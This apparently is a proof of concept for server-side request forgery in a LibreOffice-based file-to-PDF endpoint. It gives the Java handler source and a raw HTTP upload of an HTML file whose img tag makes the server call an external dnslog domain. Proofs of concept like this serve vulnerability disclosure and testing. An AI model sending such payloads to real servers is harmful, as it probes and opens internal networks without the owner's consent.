@PostMapping(consumes = "multipart/form-data", value = "/file/pdf")
@Operation(
        summary = "Convert a file to a PDF using LibreOffice",
        description =
                "This endpoint converts a given file to a PDF using LibreOffice API  Input:ANY"
                        + " Output:PDF Type:SISO")
public ResponseEntity<byte[]> processFileToPDF(@ModelAttribute GeneralFile generalFile)
        throws Exception {
    MultipartFile inputFile = generalFile.getFileInput();
    // unused but can start server instance if startup time is to long
    // LibreOfficeListener.getInstance().start();
    File file = null;
    try {
        file = convertToPdf(inputFile);

        PDDocument doc = pdfDocumentFactory.load(file);
        return WebResponseUtils.pdfDocToWebResponse(
                doc,
                Filenames.toSimpleFileName(inputFile.getOriginalFilename())
                                .replaceFirst("[.][^.]+$", "")
                        + "_convertedToPDF.pdf");
    } finally {
        if (file != null) file.delete();
    }
}

 public File convertToPdf(MultipartFile inputFile) throws IOException, InterruptedException {
        // Check for valid file extension
        String originalFilename = Filenames.toSimpleFileName(inputFile.getOriginalFilename());
        if (originalFilename == null
                || !isValidFileExtension(FilenameUtils.getExtension(originalFilename))) {
            throw new IllegalArgumentException("Invalid file extension");
        }

        // Save the uploaded file to a temporary location
        Path tempInputFile =
                Files.createTempFile("input_", "." + FilenameUtils.getExtension(originalFilename));
        inputFile.transferTo(tempInputFile);

        // Prepare the output file path
        Path tempOutputFile = Files.createTempFile("output_", ".pdf");

        try {
            // Run the LibreOffice command
            List<String> command =
                    new ArrayList<>(
                            Arrays.asList(
                                    runtimePathConfig.getUnoConvertPath(),
                                    "--port",
                                    "2003",
                                    "--convert-to",
                                    "pdf",
                                    tempInputFile.toString(),
                                    tempOutputFile.toString()));
            ProcessExecutorResult returnCode =
                    ProcessExecutor.getInstance(ProcessExecutor.Processes.LIBRE_OFFICE)
                            .runCommandWithOutputHandling(command);

            // Read the converted PDF file
            return tempOutputFile.toFile();
        } finally {
            // Clean up the temporary files
            if (tempInputFile != null) Files.deleteIfExists(tempInputFile);
        }
    }

POST /api/v1/convert/file/pdf HTTP/1.1
Host: 172.25.24.140:8080
Content-Length: 230
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXk10yDA52D8VSaGO
Accept: */*
Origin: http://172.25.24.140:8080
Referer: http://172.25.24.140:8080/file-to-pdf?lang=zh_CN
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0dylx4lgdtzxwixmnid86661r1.node0
Connection: close

------WebKitFormBoundaryXk10yDA52D8VSaGO
Content-Disposition: form-data; name="fileInput"; filename="1.html"
Content-Type: text/html


<img src='http://89a9e05b.log.dnslog.sbs'>

------WebKitFormBoundaryXk10yDA52D8VSaGO--